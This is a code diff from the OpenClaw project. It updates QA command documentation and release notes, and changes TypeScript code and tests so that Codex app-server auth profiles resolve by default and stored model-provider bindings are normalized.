| `qa character-eval` | Run the character QA scenario across multiple live models with a judged report. See [Reporting](#reporting). |
| `qa manual` | Run a one-off prompt against the selected provider/model lane. |
| `qa ui` | Start the QA debugger UI and local QA bus (alias: `pnpm qa:lab:ui`). |
| `qa docker-build-image` | Build the prebaked QA Docker image. |
| `qa docker-scaffold` | Write a docker-compose scaffold for the QA dashboard + gateway lane. |
| `qa up` | Build the QA site, start the Docker-backed stack, print the URL (alias: `pnpm qa:lab:up`; `:fast` variant adds `--use-prebuilt-image --bind-ui-dist --skip-ui-build`). |
| `qa aimock` | Start only the AIMock provider server. |
| `qa mock-openai` | Start only the scenario-aware `mock-openai` provider server. |
| `qa credentials doctor` / `add` / `list` / `remove` | Manage the shared Convex credential pool. |
| `qa matrix` | Live transport lane against a disposable Tuwunel homeserver. See [Matrix QA](/concepts/qa-matrix). |
| `qa telegram` | Live transport lane against a real private Telegram group. |
| `qa discord` | Live transport lane against a real private Discord guild channel. |
| `qa slack` | Live transport lane against a real private Slack channel. |
| `qa mantis` | Before and after verification runner for live transport bugs, with the first Discord status-reactions scenario. See [Mantis](/concepts/mantis). |
| Command | Purpose |
| --------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `qa run` | Bundled QA self-check; writes a Markdown report. |
| `qa suite` | Run repo-backed scenarios against the QA gateway lane. Aliases: `pnpm openclaw qa suite --runner multipass` for a disposable Linux VM. |
| `qa coverage` | Print the markdown scenario-coverage inventory (`--json` for machine output). |
| `qa parity-report` | Compare two `qa-suite-summary.json` files and write the agentic parity report. |
| `qa character-eval` | Run the character QA scenario across multiple live models with a judged report. See [Reporting](#reporting). |
| `qa manual` | Run a one-off prompt against the selected provider/model lane. |
| `qa ui` | Start the QA debugger UI and local QA bus (alias: `pnpm qa:lab:ui`). |
| `qa docker-build-image` | Build the prebaked QA Docker image. |
| `qa docker-scaffold` | Write a docker-compose scaffold for the QA dashboard + gateway lane. |
| `qa up` | Build the QA site, start the Docker-backed stack, print the URL (alias: `pnpm qa:lab:up`; `:fast` variant adds `--use-prebuilt-image --bind-ui-dist --skip-ui-build`). |
| `qa aimock` | Start only the AIMock provider server. |
| `qa mock-openai` | Start only the scenario-aware `mock-openai` provider server. |
| `qa credentials doctor` / `add` / `list` / `remove` | Manage the shared Convex credential pool. |
| `qa matrix` | Live transport lane against a disposable Tuwunel homeserver. See [Matrix QA](/concepts/qa-matrix). |
| `qa telegram` | Live transport lane against a real private Telegram group. |
| `qa discord` | Live transport lane against a real private Discord guild channel. |
| `qa slack` | Live transport lane against a real private Slack channel. |
| `qa mantis` | Before and after verification runner for live transport bugs, with Discord status-reactions evidence, Crabbox desktop/browser smoke, and Slack-in-VNC smoke. See [Mantis](/concepts/mantis). |
## Operator flow
@@ -121,6 +121,23 @@ pnpm openclaw qa slack
They target a pre-existing real channel with two bots (driver + SUT). Required env vars, scenario lists, output artifacts, and the Convex credential pool are documented in [Telegram, Discord, and Slack QA reference](#telegram-discord-and-slack-qa-reference) below.
For a full Slack desktop VM run with VNC rescue, run:
```bash
pnpm openclaw qa mantis slack-desktop-smoke \
--gateway-setup \
--scenario slack-canary \
--keep-lease
```
That command leases a Crabbox desktop/browser machine, runs the Slack live lane
inside the VM, opens Slack Web in the VNC browser, captures the desktop, and
copies `slack-qa/` plus `slack-desktop-smoke.png` back to the Mantis artifact
directory. Reuse `--lease-id <cbx_...>` after logging in to Slack Web manually
through VNC. With `--gateway-setup`, Mantis leaves a persistent OpenClaw Slack
gateway running inside the VM on port `38973`; without it, the command runs the
normal bot-to-bot Slack QA lane and exits after artifact capture.
Before using pooled live credentials, run:
```bash

View File

@@ -159,15 +159,19 @@ the maintainer-only release runbook.
QA-lab through a local OTLP/HTTP receiver and verifies the exported trace
span names, bounded attributes, and content/identifier redaction without
requiring Opik, Langfuse, or another external collector.
- Run `pnpm release:check` before every tagged release
- Run `pnpm release:check` before every tagged release; it also builds and
verifies package-local plugin runtimes so TypeScript plugin entries cannot
ship without matching `dist/*.js` output.
- Run `OpenClaw Release Publish` for the mutating publish sequence after the
tag exists. Dispatch it from `release/YYYY.M.D` (or `main` when publishing a
main-reachable tag), pass the release tag and successful OpenClaw npm
`preflight_run_id`, and keep the default plugin publish scope
`all-publishable` unless you are deliberately running a focused repair. The
workflow serializes plugin npm publish, plugin ClawHub publish, and OpenClaw
npm publish so the core package is not published before its externalized
plugins.
workflow serializes plugin npm publish before plugin ClawHub publish and
OpenClaw npm publish so the core package is not published before its
externalized plugins. ClawHub package publish may run in parallel, but the
workflow first verifies that every `@openclaw/*` package candidate already
exists under the OpenClaw ClawHub publisher.
- Release checks now run in a separate manual workflow:
`OpenClaw Release Checks`
- `OpenClaw Release Checks` also runs the QA Lab mock parity lane plus the fast

View File

@@ -387,6 +387,40 @@ describe("bridgeCodexAppServerStartOptions", () => {
}
});
it("applies the default OpenAI Codex OAuth profile when no profile id is explicit", async () => {
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-codex-app-server-"));
const request = vi.fn(async () => ({ type: "chatgptAuthTokens" }));
try {
upsertAuthProfile({
agentDir,
profileId: "openai-codex:default",
credential: {
type: "oauth",
provider: "openai-codex",
access: "default-access-token",
refresh: "default-refresh-token",
expires: Date.now() + 24 * 60 * 60_000,
accountId: "account-default",
email: "codex-default@example.test",
},
});
await applyCodexAppServerAuthProfile({
client: { request } as never,
agentDir,
});
expect(request).toHaveBeenCalledWith("account/login/start", {
type: "chatgptAuthTokens",
accessToken: "default-access-token",
chatgptAccountId: "account-default",
chatgptPlanType: null,
});
} finally {
await fs.rm(agentDir, { recursive: true, force: true });
}
});
it("refreshes an expired OpenAI Codex OAuth profile before app-server login", async () => {
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-codex-app-server-"));
const request = vi.fn(async () => ({ type: "chatgptAuthTokens" }));

View File

@@ -3,8 +3,10 @@ import path from "node:path";
import {
ensureAuthProfileStore,
loadAuthProfileStoreForSecretsRuntime,
resolveAuthProfileOrder,
resolveProviderIdForAuth,
resolveApiKeyForProfile,
resolveOpenClawAgentDir,
resolvePersistedAuthProfileOwnerAgentDir,
saveAuthProfileStore,
type AuthProfileCredential,
@@ -28,6 +30,8 @@ const OPENAI_API_KEY_ENV_VAR = "OPENAI_API_KEY";
const CODEX_APP_SERVER_API_KEY_ENV_VARS = [CODEX_API_KEY_ENV_VAR, OPENAI_API_KEY_ENV_VAR];
const CODEX_APP_SERVER_ISOLATION_ENV_VARS = [CODEX_HOME_ENV_VAR, HOME_ENV_VAR];
type AuthProfileOrderConfig = Parameters<typeof resolveAuthProfileOrder>[0]["cfg"];
export async function bridgeCodexAppServerStartOptions(params: {
startOptions: CodexAppServerStartOptions;
agentDir: string;
@@ -41,15 +45,49 @@ export async function bridgeCodexAppServerStartOptions(params: {
params.agentDir,
);
const store = ensureAuthProfileStore(params.agentDir, { allowKeychainPrompt: false });
const authProfileId = resolveCodexAppServerAuthProfileId({
authProfileId: params.authProfileId,
store,
});
const shouldClearInheritedOpenAiApiKey = shouldClearOpenAiApiKeyForCodexAuthProfile({
store,
authProfileId: params.authProfileId,
authProfileId,
});
return shouldClearInheritedOpenAiApiKey
? withClearedEnvironmentVariables(isolatedStartOptions, CODEX_APP_SERVER_API_KEY_ENV_VARS)
: isolatedStartOptions;
}
export function resolveCodexAppServerAuthProfileId(params: {
authProfileId?: string;
store: ReturnType<typeof ensureAuthProfileStore>;
config?: AuthProfileOrderConfig;
}): string | undefined {
const requested = params.authProfileId?.trim();
if (requested) {
return requested;
}
return resolveAuthProfileOrder({
cfg: params.config,
store: params.store,
provider: CODEX_APP_SERVER_AUTH_PROVIDER,
})[0]?.trim();
}
export function resolveCodexAppServerAuthProfileIdForAgent(params: {
authProfileId?: string;
agentDir?: string;
config?: AuthProfileOrderConfig;
}): string | undefined {
const agentDir = params.agentDir?.trim() || resolveOpenClawAgentDir();
const store = ensureAuthProfileStore(agentDir, { allowKeychainPrompt: false });
return resolveCodexAppServerAuthProfileId({
authProfileId: params.authProfileId,
store,
config: params.config,
});
}
export function resolveCodexAppServerHomeDir(agentDir: string): string {
return path.join(path.resolve(agentDir), CODEX_APP_SERVER_HOME_DIRNAME);
}
@@ -153,11 +191,14 @@ async function resolveCodexAppServerAuthProfileLoginParamsInternal(params: {
authProfileId?: string;
forceOAuthRefresh?: boolean;
}): Promise<LoginAccountParams | undefined> {
const profileId = params.authProfileId?.trim();
const store = ensureAuthProfileStore(params.agentDir, { allowKeychainPrompt: false });
const profileId = resolveCodexAppServerAuthProfileId({
authProfileId: params.authProfileId,
store,
});
if (!profileId) {
return undefined;
}
const store = ensureAuthProfileStore(params.agentDir, { allowKeychainPrompt: false });
const credential = store.profiles[profileId];
if (!credential) {
throw new Error(`Codex app-server auth profile "${profileId}" was not found.`);

View File

@@ -40,7 +40,11 @@ import {
} from "openclaw/plugin-sdk/agent-harness-runtime";
import { emitTrustedDiagnosticEvent } from "openclaw/plugin-sdk/diagnostic-runtime";
import { handleCodexAppServerApprovalRequest } from "./approval-bridge.js";
import { refreshCodexAppServerAuthTokens } from "./auth-bridge.js";
import {
refreshCodexAppServerAuthTokens,
resolveCodexAppServerAuthProfileId,
resolveCodexAppServerAuthProfileIdForAgent,
} from "./auth-bridge.js";
import {
createCodexAppServerClientFactoryTestHooks,
defaultCodexAppServerClientFactory,
@@ -377,16 +381,31 @@ export async function runCodexAppServerAttempt(
agentId: params.agentId,
});
const agentDir = params.agentDir ?? resolveOpenClawAgentDir();
const runtimeParams = { ...params, sessionKey: sandboxSessionKey };
const startupBinding = await readCodexAppServerBinding(params.sessionFile);
const startupAuthProfileCandidate =
params.runtimePlan?.auth.forwardedAuthProfileId ??
params.authProfileId ??
startupBinding?.authProfileId;
const startupAuthProfileId = params.authProfileStore
? resolveCodexAppServerAuthProfileId({
authProfileId: startupAuthProfileCandidate,
store: params.authProfileStore,
config: params.config,
})
: resolveCodexAppServerAuthProfileIdForAgent({
authProfileId: startupAuthProfileCandidate,
agentDir,
config: params.config,
});
const runtimeParams = {
...params,
sessionKey: sandboxSessionKey,
...(startupAuthProfileId ? { authProfileId: startupAuthProfileId } : {}),
};
const activeContextEngine = isActiveHarnessContextEngine(params.contextEngine)
? params.contextEngine
: undefined;
let yieldDetected = false;
const startupBinding = await readCodexAppServerBinding(params.sessionFile);
const startupAuthProfileId =
params.runtimePlan?.auth.forwardedAuthProfileId ??
params.authProfileId ??
startupBinding?.authProfileId;
const tools = await buildDynamicTools({
params,
resolvedWorkspace,
@@ -553,7 +572,7 @@ export async function runCodexAppServerAttempt(
});
const startupThread = await startOrResumeThread({
client: startupClient,
params,
params: runtimeParams,
cwd: effectiveWorkspace,
dynamicTools: toolBridge.specs,
appServer,

View File

@@ -7,10 +7,26 @@ import {
readCodexAppServerBinding,
resolveCodexAppServerBindingPath,
writeCodexAppServerBinding,
type CodexAppServerAuthProfileLookup,
} from "./session-binding.js";
let tempDir: string;
const nativeAuthLookup: Pick<CodexAppServerAuthProfileLookup, "authProfileStore"> = {
authProfileStore: {
version: 1,
profiles: {
work: {
type: "oauth",
provider: "openai-codex",
access: "access-token",
refresh: "refresh-token",
expires: Date.now() + 60_000,
},
},
},
};
describe("codex app-server session binding", () => {
beforeEach(async () => {
tempDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-codex-binding-"));
@@ -44,6 +60,96 @@ describe("codex app-server session binding", () => {
await expect(fs.stat(resolveCodexAppServerBindingPath(sessionFile))).resolves.toBeTruthy();
});
it("does not persist public OpenAI as the provider for Codex-native auth bindings", async () => {
const sessionFile = path.join(tempDir, "session.json");
await writeCodexAppServerBinding(
sessionFile,
{
threadId: "thread-123",
cwd: tempDir,
authProfileId: "work",
model: "gpt-5.4-mini",
modelProvider: "openai",
},
nativeAuthLookup,
);
const raw = await fs.readFile(resolveCodexAppServerBindingPath(sessionFile), "utf8");
const binding = await readCodexAppServerBinding(sessionFile, nativeAuthLookup);
expect(raw).not.toContain('"modelProvider": "openai"');
expect(binding).toMatchObject({
threadId: "thread-123",
authProfileId: "work",
model: "gpt-5.4-mini",
});
expect(binding?.modelProvider).toBeUndefined();
});
it("normalizes older Codex-native bindings that stored public OpenAI provider", async () => {
const sessionFile = path.join(tempDir, "session.json");
await fs.writeFile(
resolveCodexAppServerBindingPath(sessionFile),
`${JSON.stringify({
schemaVersion: 1,
threadId: "thread-123",
sessionFile,
cwd: tempDir,
authProfileId: "work",
model: "gpt-5.4-mini",
modelProvider: "openai",
createdAt: "2026-05-03T00:00:00.000Z",
updatedAt: "2026-05-03T00:00:00.000Z",
})}\n`,
);
const binding = await readCodexAppServerBinding(sessionFile, nativeAuthLookup);
expect(binding?.authProfileId).toBe("work");
expect(binding?.modelProvider).toBeUndefined();
});
it("does not infer native Codex auth from the profile id prefix", async () => {
const sessionFile = path.join(tempDir, "session.json");
await writeCodexAppServerBinding(
sessionFile,
{
threadId: "thread-123",
cwd: tempDir,
authProfileId: "openai-codex:work",
model: "gpt-5.4-mini",
modelProvider: "openai",
},
{
authProfileStore: {
version: 1,
profiles: {
"openai-codex:work": {
type: "api_key",
provider: "openai",
key: "sk-test",
},
},
},
},
);
const binding = await readCodexAppServerBinding(sessionFile, {
authProfileStore: {
version: 1,
profiles: {
"openai-codex:work": {
type: "api_key",
provider: "openai",
key: "sk-test",
},
},
},
});
expect(binding?.modelProvider).toBe("openai");
});
it("clears missing bindings without throwing", async () => {
const sessionFile = path.join(tempDir, "missing.json");
await clearCodexAppServerBinding(sessionFile);

View File

@@ -1,8 +1,27 @@
import fs from "node:fs/promises";
import { embeddedAgentLog } from "openclaw/plugin-sdk/agent-harness-runtime";
import {
ensureAuthProfileStore,
resolveOpenClawAgentDir,
resolveProviderIdForAuth,
type AuthProfileStore,
} from "openclaw/plugin-sdk/agent-runtime";
import type { CodexAppServerApprovalPolicy, CodexAppServerSandboxMode } from "./config.js";
import type { CodexServiceTier } from "./protocol.js";
const CODEX_APP_SERVER_NATIVE_AUTH_PROVIDER = "openai-codex";
const PUBLIC_OPENAI_MODEL_PROVIDER = "openai";
type ProviderAuthAliasLookupParams = Parameters<typeof resolveProviderIdForAuth>[1];
type ProviderAuthAliasConfig = NonNullable<ProviderAuthAliasLookupParams>["config"];
export type CodexAppServerAuthProfileLookup = {
authProfileId?: string;
authProfileStore?: AuthProfileStore;
agentDir?: string;
config?: ProviderAuthAliasConfig;
};
export type CodexAppServerThreadBinding = {
schemaVersion: 1;
threadId: string;
@@ -25,6 +44,7 @@ export function resolveCodexAppServerBindingPath(sessionFile: string): string {
export async function readCodexAppServerBinding(
sessionFile: string,
lookup: Omit<CodexAppServerAuthProfileLookup, "authProfileId"> = {},
): Promise<CodexAppServerThreadBinding | undefined> {
const path = resolveCodexAppServerBindingPath(sessionFile);
let raw: string;
@@ -42,14 +62,20 @@ export async function readCodexAppServerBinding(
if (parsed.schemaVersion !== 1 || typeof parsed.threadId !== "string") {
return undefined;
}
const authProfileId =
typeof parsed.authProfileId === "string" ? parsed.authProfileId : undefined;
return {
schemaVersion: 1,
threadId: parsed.threadId,
sessionFile,
cwd: typeof parsed.cwd === "string" ? parsed.cwd : "",
authProfileId: typeof parsed.authProfileId === "string" ? parsed.authProfileId : undefined,
authProfileId,
model: typeof parsed.model === "string" ? parsed.model : undefined,
modelProvider: typeof parsed.modelProvider === "string" ? parsed.modelProvider : undefined,
modelProvider: normalizeCodexAppServerBindingModelProvider({
...lookup,
authProfileId,
modelProvider: typeof parsed.modelProvider === "string" ? parsed.modelProvider : undefined,
}),
approvalPolicy: readApprovalPolicy(parsed.approvalPolicy),
sandbox: readSandboxMode(parsed.sandbox),
serviceTier: readServiceTier(parsed.serviceTier),
@@ -74,6 +100,7 @@ export async function writeCodexAppServerBinding(
> & {
createdAt?: string;
},
lookup: Omit<CodexAppServerAuthProfileLookup, "authProfileId"> = {},
): Promise<void> {
const now = new Date().toISOString();
const payload: CodexAppServerThreadBinding = {
@@ -83,7 +110,11 @@ export async function writeCodexAppServerBinding(
cwd: binding.cwd,
authProfileId: binding.authProfileId,
model: binding.model,
modelProvider: binding.modelProvider,
modelProvider: normalizeCodexAppServerBindingModelProvider({
...lookup,
authProfileId: binding.authProfileId,
modelProvider: binding.modelProvider,
}),
approvalPolicy: binding.approvalPolicy,
sandbox: binding.sandbox,
serviceTier: binding.serviceTier,
@@ -111,6 +142,80 @@ function isNotFound(error: unknown): boolean {
return Boolean(error && typeof error === "object" && "code" in error && error.code === "ENOENT");
}
export function isCodexAppServerNativeAuthProfile(
lookup: CodexAppServerAuthProfileLookup,
): boolean {
const authProfileId = lookup.authProfileId?.trim();
if (!authProfileId) {
return false;
}
try {
const credential = resolveCodexAppServerAuthProfileCredential({
...lookup,
authProfileId,
});
return isCodexAppServerNativeAuthProvider({
provider: credential?.provider,
config: lookup.config,
});
} catch (error) {
embeddedAgentLog.debug("failed to resolve codex app-server auth profile provider", {
authProfileId,
error,
});
return false;
}
}
export function normalizeCodexAppServerBindingModelProvider(params: {
authProfileId?: string;
modelProvider?: string;
authProfileStore?: AuthProfileStore;
agentDir?: string;
config?: ProviderAuthAliasConfig;
}): string | undefined {
const modelProvider = params.modelProvider?.trim();
if (!modelProvider) {
return undefined;
}
if (
isCodexAppServerNativeAuthProfile(params) &&
modelProvider.toLowerCase() === PUBLIC_OPENAI_MODEL_PROVIDER
) {
return undefined;
}
return modelProvider;
}
function resolveCodexAppServerAuthProfileCredential(
lookup: CodexAppServerAuthProfileLookup,
): AuthProfileStore["profiles"][string] | undefined {
const authProfileId = lookup.authProfileId?.trim();
if (!authProfileId) {
return undefined;
}
const store = lookup.authProfileStore ?? loadCodexAppServerAuthProfileStore(lookup.agentDir);
return store.profiles[authProfileId];
}
function loadCodexAppServerAuthProfileStore(agentDir: string | undefined): AuthProfileStore {
return ensureAuthProfileStore(agentDir?.trim() || resolveOpenClawAgentDir(), {
allowKeychainPrompt: false,
});
}
function isCodexAppServerNativeAuthProvider(params: {
provider?: string;
config?: ProviderAuthAliasConfig;
}): boolean {
const provider = params.provider?.trim();
return Boolean(
provider &&
resolveProviderIdForAuth(provider, { config: params.config }) ===
CODEX_APP_SERVER_NATIVE_AUTH_PROVIDER,
);
}
function readApprovalPolicy(value: unknown): CodexAppServerApprovalPolicy | undefined {
return value === "never" ||
value === "on-request" ||

View File

@@ -1,5 +1,116 @@
import type { EmbeddedRunAttemptParams } from "openclaw/plugin-sdk/agent-harness-runtime";
import { describe, expect, it } from "vitest";
import { resolveReasoningEffort } from "./thread-lifecycle.js";
import {
buildThreadResumeParams,
buildThreadStartParams,
resolveReasoningEffort,
} from "./thread-lifecycle.js";
function createAttemptParams(params: {
provider: string;
authProfileId?: string;
authProfileProvider?: string;
authProfileProviders?: Record<string, string>;
}): EmbeddedRunAttemptParams {
const authProfileProviders =
params.authProfileProviders ??
(params.authProfileId
? { [params.authProfileId]: params.authProfileProvider ?? "openai-codex" }
: {});
return {
provider: params.provider,
modelId: "gpt-5.4",
authProfileId: params.authProfileId,
authProfileStore: {
version: 1,
profiles: Object.fromEntries(
Object.entries(authProfileProviders).map(([profileId, provider]) => [
profileId,
{
type: "oauth" as const,
provider,
access: "access-token",
refresh: "refresh-token",
expires: Date.now() + 60_000,
},
]),
),
},
} as EmbeddedRunAttemptParams;
}
function createAppServerOptions() {
return {
approvalPolicy: "on-request",
approvalsReviewer: "user",
sandbox: "workspace-write",
} as const;
}
describe("Codex app-server model provider selection", () => {
it.each(["openai", "openai-codex"])(
"omits public %s modelProvider when forwarding native Codex auth on thread/start",
(provider) => {
const request = buildThreadStartParams(
createAttemptParams({ provider, authProfileId: "work" }),
{
cwd: "/repo",
dynamicTools: [],
appServer: createAppServerOptions() as never,
developerInstructions: "test instructions",
},
);
expect(request).not.toHaveProperty("modelProvider");
},
);
it("uses the bound native Codex auth profile when deciding thread/resume modelProvider", () => {
const request = buildThreadResumeParams(
createAttemptParams({
provider: "openai",
authProfileProviders: { bound: "openai-codex" },
}),
{
threadId: "thread-1",
authProfileId: "bound",
appServer: createAppServerOptions() as never,
developerInstructions: "test instructions",
},
);
expect(request).not.toHaveProperty("modelProvider");
});
it("does not infer native Codex auth from the profile id prefix", () => {
const request = buildThreadStartParams(
createAttemptParams({
provider: "openai",
authProfileId: "openai-codex:work",
authProfileProvider: "openai",
}),
{
cwd: "/repo",
dynamicTools: [],
appServer: createAppServerOptions() as never,
developerInstructions: "test instructions",
},
);
expect(request).toMatchObject({ modelProvider: "openai" });
});
it("keeps public OpenAI modelProvider when no native Codex auth profile is selected", () => {
const request = buildThreadStartParams(createAttemptParams({ provider: "openai" }), {
cwd: "/repo",
dynamicTools: [],
appServer: createAppServerOptions() as never,
developerInstructions: "test instructions",
});
expect(request).toMatchObject({ modelProvider: "openai" });
});
});
describe("resolveReasoningEffort (#71946)", () => {
describe("modern Codex models (none/low/medium/high/xhigh enum)", () => {

View File

@@ -25,8 +25,10 @@ import {
} from "./protocol.js";
import {
clearCodexAppServerBinding,
isCodexAppServerNativeAuthProfile,
readCodexAppServerBinding,
writeCodexAppServerBinding,
type CodexAppServerAuthProfileLookup,
type CodexAppServerThreadBinding,
} from "./session-binding.js";
@@ -40,7 +42,11 @@ export async function startOrResumeThread(params: {
config?: JsonObject;
}): Promise<CodexAppServerThreadBinding> {
const dynamicToolsFingerprint = fingerprintDynamicTools(params.dynamicTools);
const binding = await readCodexAppServerBinding(params.params.sessionFile);
const binding = await readCodexAppServerBinding(params.params.sessionFile, {
authProfileStore: params.params.authProfileStore,
agentDir: params.params.agentDir,
config: params.params.config,
});
if (binding?.threadId) {
// `/codex resume <thread>` writes a binding before the next turn can know
// the dynamic tool catalog, so only invalidate fingerprints we actually have.
@@ -57,28 +63,44 @@ export async function startOrResumeThread(params: {
await clearCodexAppServerBinding(params.params.sessionFile);
} else {
try {
const authProfileId = params.params.authProfileId ?? binding.authProfileId;
const response = assertCodexThreadResumeResponse(
await params.client.request(
"thread/resume",
buildThreadResumeParams(params.params, {
threadId: binding.threadId,
authProfileId,
appServer: params.appServer,
developerInstructions: params.developerInstructions,
config: params.config,
}),
),
);
const boundAuthProfileId = params.params.authProfileId ?? binding.authProfileId;
const fallbackModelProvider = resolveCodexAppServerModelProvider(params.params.provider);
await writeCodexAppServerBinding(params.params.sessionFile, {
threadId: response.thread.id,
cwd: params.cwd,
const boundAuthProfileId = authProfileId;
const fallbackModelProvider = resolveCodexAppServerModelProvider({
provider: params.params.provider,
authProfileId: boundAuthProfileId,
model: params.params.modelId,
modelProvider: response.modelProvider ?? fallbackModelProvider,
dynamicToolsFingerprint,
createdAt: binding.createdAt,
authProfileStore: params.params.authProfileStore,
agentDir: params.params.agentDir,
config: params.params.config,
});
await writeCodexAppServerBinding(
params.params.sessionFile,
{
threadId: response.thread.id,
cwd: params.cwd,
authProfileId: boundAuthProfileId,
model: params.params.modelId,
modelProvider: response.modelProvider ?? fallbackModelProvider,
dynamicToolsFingerprint,
createdAt: binding.createdAt,
},
{
authProfileStore: params.params.authProfileStore,
agentDir: params.params.agentDir,
config: params.params.config,
},
);
return {
...binding,
threadId: response.thread.id,
@@ -112,17 +134,31 @@ export async function startOrResumeThread(params: {
}),
),
);
const modelProvider = resolveCodexAppServerModelProvider(params.params.provider);
const createdAt = new Date().toISOString();
await writeCodexAppServerBinding(params.params.sessionFile, {
threadId: response.thread.id,
cwd: params.cwd,
const modelProvider = resolveCodexAppServerModelProvider({
provider: params.params.provider,
authProfileId: params.params.authProfileId,
model: response.model ?? params.params.modelId,
modelProvider: response.modelProvider ?? modelProvider,
dynamicToolsFingerprint,
createdAt,
authProfileStore: params.params.authProfileStore,
agentDir: params.params.agentDir,
config: params.params.config,
});
const createdAt = new Date().toISOString();
await writeCodexAppServerBinding(
params.params.sessionFile,
{
threadId: response.thread.id,
cwd: params.cwd,
authProfileId: params.params.authProfileId,
model: response.model ?? params.params.modelId,
modelProvider: response.modelProvider ?? modelProvider,
dynamicToolsFingerprint,
createdAt,
},
{
authProfileStore: params.params.authProfileStore,
agentDir: params.params.agentDir,
config: params.params.config,
},
);
return {
schemaVersion: 1,
threadId: response.thread.id,
@@ -147,7 +183,13 @@ export function buildThreadStartParams(
config?: JsonObject;
},
): CodexThreadStartParams {
const modelProvider = resolveCodexAppServerModelProvider(params.provider);
const modelProvider = resolveCodexAppServerModelProvider({
provider: params.provider,
authProfileId: params.authProfileId,
authProfileStore: params.authProfileStore,
agentDir: params.agentDir,
config: params.config,
});
return {
model: params.modelId,
...(modelProvider ? { modelProvider } : {}),
@@ -169,12 +211,19 @@ export function buildThreadResumeParams(
params: EmbeddedRunAttemptParams,
options: {
threadId: string;
authProfileId?: string;
appServer: CodexAppServerRuntimeOptions;
developerInstructions?: string;
config?: JsonObject;
},
): CodexThreadResumeParams {
const modelProvider = resolveCodexAppServerModelProvider(params.provider);
const modelProvider = resolveCodexAppServerModelProvider({
provider: params.provider,
authProfileId: options.authProfileId ?? params.authProfileId,
authProfileStore: params.authProfileStore,
agentDir: params.agentDir,
config: params.config,
});
return {
threadId: options.threadId,
model: params.modelId,
@@ -326,14 +375,30 @@ function buildUserInput(
];
}
function resolveCodexAppServerModelProvider(provider: string): string | undefined {
const normalized = provider.trim();
if (!normalized || normalized === "codex") {
function resolveCodexAppServerModelProvider(params: {
provider: string;
authProfileId?: string;
authProfileStore?: CodexAppServerAuthProfileLookup["authProfileStore"];
agentDir?: string;
config?: CodexAppServerAuthProfileLookup["config"];
}): string | undefined {
const normalized = params.provider.trim();
const normalizedLower = normalized.toLowerCase();
if (!normalized || normalizedLower === "codex") {
// `codex` is OpenClaw's virtual provider; let Codex app-server keep its
// native provider/auth selection instead of forcing the legacy OpenAI path.
return undefined;
}
return normalized === "openai-codex" ? "openai" : normalized;
if (
isCodexAppServerNativeAuthProfile(params) &&
(normalizedLower === "openai" || normalizedLower === "openai-codex")
) {
// When OpenClaw is forwarding ChatGPT/Codex OAuth, `openai` is Codex's
// native provider id, not a public OpenAI API-key choice. Omit the override
// so app-server keeps its configured provider/auth pair for this session.
return undefined;
}
return normalizedLower === "openai-codex" ? "openai" : normalized;
}
// Modern Codex models (gpt-5.5, gpt-5.4, gpt-5.4-mini, gpt-5.2) use the

View File

@@ -335,14 +335,21 @@ async function bindConversation(
};
}
const workspaceDir = parsed.cwd ?? deps.resolveCodexDefaultWorkspaceDir(pluginConfig);
const data = await deps.startCodexConversationThread({
const existingBinding = await deps.readCodexAppServerBinding(ctx.sessionFile);
const authProfileId = existingBinding?.authProfileId;
const startParams: Parameters<CodexCommandDeps["startCodexConversationThread"]>[0] = {
pluginConfig,
config: ctx.config,
sessionFile: ctx.sessionFile,
workspaceDir,
threadId: parsed.threadId,
model: parsed.model,
modelProvider: parsed.provider,
});
};
if (authProfileId) {
startParams.authProfileId = authProfileId;
}
const data = await deps.startCodexConversationThread(startParams);
const binding = await deps.readCodexAppServerBinding(ctx.sessionFile);
const threadId = binding?.threadId ?? parsed.threadId ?? "new thread";
const summary = `Codex app-server thread ${threadId} in ${workspaceDir}`;

View File

@@ -1374,7 +1374,13 @@ describe("codex command", () => {
const sessionFile = path.join(tempDir, "session.jsonl");
await fs.writeFile(
`${sessionFile}.codex-app-server.json`,
JSON.stringify({ schemaVersion: 1, threadId: "thread-123", cwd: "/repo" }),
JSON.stringify({
schemaVersion: 1,
threadId: "thread-123",
cwd: "/repo",
authProfileId: "openai-codex:work",
modelProvider: "openai",
}),
);
const startCodexConversationThread = vi.fn(async () => ({
kind: "codex-app-server-session" as const,
@@ -1416,11 +1422,13 @@ describe("codex command", () => {
});
expect(startCodexConversationThread).toHaveBeenCalledWith({
pluginConfig: undefined,
config: {},
sessionFile,
workspaceDir: "/repo",
threadId: "thread-123",
model: "gpt-5.4",
modelProvider: "openai",
authProfileId: "openai-codex:work",
});
expect(requestConversationBinding).toHaveBeenCalledWith({
summary: "Codex app-server thread thread-123 in /repo",

View File

@@ -1,10 +1,30 @@
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const sharedClientMocks = vi.hoisted(() => ({
getSharedCodexAppServerClient: vi.fn(),
}));
const agentRuntimeMocks = vi.hoisted(() => ({
ensureAuthProfileStore: vi.fn(),
loadAuthProfileStoreForSecretsRuntime: vi.fn(),
resolveApiKeyForProfile: vi.fn(),
resolveAuthProfileOrder: vi.fn(),
resolveOpenClawAgentDir: vi.fn(() => "/agent"),
resolvePersistedAuthProfileOwnerAgentDir: vi.fn(),
resolveProviderIdForAuth: vi.fn((provider: string) => provider),
saveAuthProfileStore: vi.fn(),
}));
vi.mock("./app-server/shared-client.js", () => sharedClientMocks);
vi.mock("openclaw/plugin-sdk/agent-runtime", () => agentRuntimeMocks);
import {
handleCodexConversationBindingResolved,
handleCodexConversationInboundClaim,
startCodexConversationThread,
} from "./conversation-binding.js";
let tempDir: string;
@@ -15,9 +35,135 @@ describe("codex conversation binding", () => {
});
afterEach(async () => {
sharedClientMocks.getSharedCodexAppServerClient.mockReset();
agentRuntimeMocks.ensureAuthProfileStore.mockReset();
agentRuntimeMocks.loadAuthProfileStoreForSecretsRuntime.mockReset();
agentRuntimeMocks.resolveApiKeyForProfile.mockReset();
agentRuntimeMocks.resolveAuthProfileOrder.mockReset();
agentRuntimeMocks.resolveOpenClawAgentDir.mockClear();
agentRuntimeMocks.resolvePersistedAuthProfileOwnerAgentDir.mockReset();
agentRuntimeMocks.resolveProviderIdForAuth.mockClear();
agentRuntimeMocks.saveAuthProfileStore.mockReset();
await fs.rm(tempDir, { recursive: true, force: true });
});
beforeEach(() => {
